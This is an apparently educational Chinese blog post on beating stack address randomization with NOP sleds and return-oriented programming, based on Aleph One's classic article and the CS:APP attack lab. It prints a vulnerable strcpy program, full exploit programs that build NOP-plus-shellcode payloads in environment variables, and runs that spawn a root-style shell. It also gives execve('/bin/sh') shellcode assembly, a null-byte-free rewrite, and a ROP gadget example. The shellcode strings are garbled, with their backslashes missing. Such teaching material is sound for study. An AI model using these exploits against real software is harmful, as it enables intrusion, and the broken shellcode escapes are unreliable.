• 对抗栈帧地址随机化/ASLR的两种思路和一些技巧


    栈帧地址随机化是地址空间布局随机化(Address space layout randomization,ASLR)的一种,它实现了栈帧起始地址一定程度上的随机化,令攻击者难以猜测需要攻击位置的地址。


    第一次遇到这个问题是在做cs:app3e/深入理解操作系统attacklab实验的时候,后来在做学校的一个实验的时候也碰到了这个问题,最近在看一篇“上古黑客”写的文章的时候又碰到了这个问题,所以写一篇博文总结一下我了解的两种对抗思路。




    1. NOP slide

    注:以下环境基于Linux IA-32

    第一种思路是NOP滑动,也称为NOP sled 或者 NOP ramp,是指通过命中一串连续的 NOP (no-operation) 指令,从而使CPU指令执行流一直滑动到特定位置。

    使用前提:未开启栈破坏检测(canary)和限制可执行代码区域。

    很多时候我们是把注入的代码放在存在溢出问题的缓冲区中的(例如一个execve指令),然后将缓冲区所在栈帧的返回地址淹没为缓冲区的起始地址,这样回收栈帧返回时%rip就会转向到缓冲区的位置,随后开始执行我们注入的指令。如下所示,其中S代表我们注入的指令,0xD8代表了buffer的起始地址:

               buffer                sfp   ret   a     b     c
    
    <------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
               ^                            |
               |____________________________|
    top of                                                            bottom of
    stack                                                                 stack
    
    

    而问题就在于在地址随机化的情况下我们需要完全准确的猜中buffer的起始地址(下文中使用“命中”这个词代指),而这是非常低效的——我们可能要成千上万次才能发生一次命中。究其根本原因就是必须命中一个点,如果我们能够将命中范围扩大,命中的几率也会上升——这就是我们插入大量NOP指令的原因。大多数处理器都有这个“null 指令”,它除了使%rip指向下一条指令外没有别的用处,通常用来进行对齐或者延时。如果我们将注入的代码放在buffer的高地址处,低地址处全部放上连续的NOP指令,这样我们只需要命中低地址的任何一个ROP指令,最终都会滑动到注入的代码部分,如下所示,N代表NOP,S代表代码部分,0xDE为buffer的低地址中的任意位置。

               buffer                sfp   ret   a     b     c
    
    <------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                     ^                     |
                     |_____________________|
    top of                                                            bottom of
    stack                                                                 stack
    
    

    演示代码:

    vulnerable.c

    void main(int argc, char *argv[]) {
      char buffer[512];
    
      if (argc > 1)
        strcpy(buffer,argv[1]); /* 读取第一个参数的内容保存到buffer中 */
    }
    
    

    exploit.c

    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             512
    #define NOP                            0x90
    
    char shellcode[] =
      "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
      "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
      "x80xe8xdcxffxffxff/bin/sh";
    
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;
    
      if (argc > 1) bsize  = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]); /* 猜测的偏移地址 */
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.
    ");
        exit(0);
      }
    
      addr = get_sp() - offset;
      printf("Using address: 0x%x
    ", addr);
    
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)	/* 先将payload全部填满刚刚get_sp() - offset猜测出的地址,随后再填入NOP和shellcode */
        *(addr_ptr++) = addr;
    
      for (i = 0; i < bsize/2; i++)	/* 先填入NOP指令,为payload的一半大小 */
        buff[i] = NOP;
    
      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)	/* 再填入shellcode */
        *(ptr++) = shellcode[i];
    
      buff[bsize - 1] = '';
    
      memcpy(buff,"EGG=",4);
      putenv(buff);
      system("/bin/bash");	/* 设置环境变量并打开新的shell环境,该环境下会继承EGG这个含有我们构建的payload的环境变量 */
    }
    
    

    攻击:

    [aleph1]$ ./exploit3 612
    Using address: 0xbffffdb4
    [aleph1]$ ./vulnerable $EGG
    $
    

    第一次即成功命中 ; )


    1.1 Small Buffer Overflows

    有些时候存在溢出漏洞的缓冲区很小,我们不能完整的注入攻击代码,或者说能够注入的NOP指令很少,命中的概率还是很低。但是如果我们能够更改程序的环境变量,可以采用将payload放在环境变量的方法绕过限制(将返回地址改成该环境变量在内存中的地址。

    当程序启动时,环境变量存储在栈的顶部,启动后调用setenv()设置的环境变量会在存放在别处,一开始栈是这个样子:

      <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
    

    我们要做的就是使得一个新的shell环境下新增一个包含攻击payload的环境变量:

    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             512
    #define DEFAULT_EGG_SIZE               2048
    #define NOP                            0x90
    
    char shellcode[] =
      "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
      "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
      "x80xe8xdcxffxffxff/bin/sh";
    
    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, eggsize=DEFAULT_EGG_SIZE;
    
      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);
      if (argc > 3) eggsize = atoi(argv[3]);	/* 环境变量中存放payload的空间大小 */
    
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.
    ");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.
    ");
        exit(0);
      }
    
      addr = get_esp() - offset;	/* 猜测环境变量存在的地址 */
      printf("Using address: 0x%x
    ", addr);
    
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)	/* 将buffer中完全填充为猜测的环境变量的地址 */
        *(addr_ptr++) = addr;
    
      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)	/* 将环境变量设置为NOP+shellcode */
        *(ptr++) = NOP;
    
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      buff[bsize - 1] = '';
      egg[eggsize - 1] = '';
    
      memcpy(egg,"EGG=",4);	/* 设置环境变量, 一个是待会作为参数的RET,另一个是RET要命中的EGG */
      putenv(egg);
      memcpy(buff,"RET=",4);
      putenv(buff);
      system("/bin/bash");
    }
    
    

    攻击

    [aleph1]$ ./exploit4 768
    Using address: 0xbffffdb0
    [aleph1]$ ./vulnerable $RET
    $
    

    成功命中$EGG ; )


    1.2 IP relative addressing instructions

    刚刚上面讲到了如何将执行流转到我们注入的攻击代码处,但是在实际使用时又会产生一个新的问题:如果攻击代码需要使用绝对地址怎么办。我们可以利用JMP和CALL这两个使用%rip相对地址寻址的指令获得对应位置的绝对地址,由于JMP和CALL指令不需要知道目标的绝对地址,而CALL指令执行的时候会将下一条指令的绝对地址存入栈中,我们就可以结合JMP和CALL及POP指令获得绝对地址。如下所示,我们要获得ssssss("/bin/sh")对应的绝对地址,JJ代表JMP指令,CC代表CALL指令,执行顺序用(1)(2)(3)标出:

               buffer                sfp   ret   a     b     c
    
    <------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
               ^|^             ^|            |
               |||_____________||____________| (1)
           (2)  ||_____________||
                 |______________| (3)
    top of                                                            bottom of
    stack                                                                 stack
    
    

    对应的伪代码如下:

        jmp    offset-to-call           # 2 bytes
        popl   %esi                     # 1 byte  将刚刚push的"/bin/sh"的绝对地址取出
        movl   %esi,array-offset(%esi)  # 3 bytes
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes
        movl   $0x0,null-offset(%esi)   # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   array-offset,(%esi),%ecx # 3 bytes
        leal   null-offset(%esi),%edx   # 3 bytes
        int    $0x80                    # 2 bytes execve(name[0], name, NULL);
        movl   $0x1, %eax  		   	    # 5 bytes
        movl   $0x0, %ebx  				# 5 bytes
        int    $0x80   				    # 2 bytes exit(0)	
        call   offset-to-popl           # 5 bytes 将执行流转到第二行的pop处,并把高地址的"/bin/sh"的绝对地址push进栈中
        /bin/sh string goes here.
        
    

    计算偏移量,得到最终的payload:

        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)   		# 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax   			# 5 bytes
        movl   $0x0, %ebx   			# 5 bytes
        int    $0x80      				# 2 bytes
        call   -0x2b                    # 5 bytes
        .string "/bin/sh"   # 8 bytes
        
    

    1.3 Avoid null bytes

    很多时候我们的输入都是从终端输入,程序使用scanf等等函数接收输入。如果我们指令中含有null ’'这样的字节,就可能会发生截断问题,导致payload后部分输入不能被读入,这个时候就需要给payload中的指令做一些替换,例如:

               替换前:                				  替换后:
               --------------------------------------------------------
               movb   $0x0,0x7(%esi)                xorl   %eax,%eax
               molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                    movl   %eax,0xc(%esi)
               --------------------------------------------------------
               movl   $0xb,%eax                     movb   $0xb,%al
               --------------------------------------------------------
               movl   $0x1, %eax                    xorl   %ebx,%ebx
               movl   $0x0, %ebx                    movl   %ebx,%eax
                                                    inc    %eax
               --------------------------------------------------------
    
    

    转换之后的payload:

            jmp    0x1f                     # 2 bytes
            popl   %esi                     # 1 byte
            movl   %esi,0x8(%esi)           # 3 bytes
            xorl   %eax,%eax                # 2 bytes
            movb   %eax,0x7(%esi)  		    # 3 bytes
            movl   %eax,0xc(%esi)           # 3 bytes
            movb   $0xb,%al                 # 2 bytes
            movl   %esi,%ebx                # 2 bytes
            leal   0x8(%esi),%ecx           # 3 bytes
            leal   0xc(%esi),%edx           # 3 bytes
            int    $0x80                    # 2 bytes
            xorl   %ebx,%ebx                # 2 bytes
            movl   %ebx,%eax                # 2 bytes
            inc    %eax                     # 1 bytes
            int    $0x80                    # 2 bytes
            call   -0x24                    # 5 bytes
            .string "/bin/sh"             # 8 bytes
              								# 46 bytes
              
    


    2. Return-Oriented Programming

    注:以下环境基于Linux x86-64

    第二种思路简称ROP攻击,是代码复用技术的一种。 思路是将执行流转向内存中存在的机器指令,这些指令可能是该程序本身包含的.text处的指令,也可能是各种库之中的,虽然内存中几乎不可能存在完整的攻击指令,但是我们可以找到很多指令片段(称为"gadgets"),其中每一个gadget的最后都是ret指令,所以最后会返回到我们控制的栈中指示的下一个gadget的地址处,依次将所有栈中指示的gadget执行一遍,通过这些"gadgets"的组合,我们就可以达到完整攻击的目的。ROP可以绕过栈帧地址随机化、限制可执行代码区域、代码签名等安全措施。

    使用前提:未开启栈破坏检测(canary)。

    攻击方式如下所示,其中栈由上向下生长(c3是ret指令):


    有人可能会问,即使我们能够利用现成的指令, 但是一些特定的指令还是可能没有,例如在返回前popq %rdi(不是callee saved)这样的指令就很难存在。实际上,我们不仅可以使用“现成”的“完整”指令,还可以将一个长的指令拆开,利用其中分解出的指令。举个栗子:

    我们在内存中找到这样一个函数

    void setval_210(unsigned *p)
    {
    	*p = 3347663060U;
    }
    
    

    看起来这个函数的功能对我们的攻击没什么用,因为他是将一个特定的常数赋值给指定的内存块。

    0000000000400f15 <setval_210>:
    400f15:		c7 07 d4 48 89 c7			movl	$0xc78948d4,(%rdi)
    400f1b:		c3							retq
    
    

    但是,如果我们将这个指令拆开,查找指令表:

    可以发现48 89 c7可以对应到movq %rax, %rdi,接着也是一个c3 ret指令。所以我们就可以使用这个gadget了,它的功能是将%rax赋值给%rdi。需要注意的是这个函数的起始地址为0x400f15,我们的gadget从第四个字节开始,所以我们在栈帧中给这个gadget的地址应该为0x400f18。

    寻找gadget的开源工具网上有很多,大家可以找找。




    参考:

    1. Smashing The Stack For Fun And Profit 这是Phrack上的一篇古老的文章,写于1996年,文中有一些方法和操作已经过时了,但是思路很好。另外,Phrack真的是一个很好的资源地,以后有时间会多多翻译的。
    2. Attack Lab Writeup CMU的深入理解计算机系统实验课指导。
    3. putenv() and setenv() 关于setenv()putenv()的区别
  • 相关阅读:
    简单的MVC小应用
    jsp四大指令元素,三大脚本元素,八大动作元素
    servlet session管理的四种方式 --隐藏表单
    servlet session管理的四种方式--一 url重写
    创建servlet三种方式(韩顺平老师课程)
    python函数
    tcpprobe ——监听TCP信息的内核模块
    Popen的方法
    Python中执行系统命令常见的几种方法
    > /dev/null 2>&1 含义
  • 原文地址:https://www.cnblogs.com/liqiuhao/p/7783688.html
Copyright © 2020-2023  润新知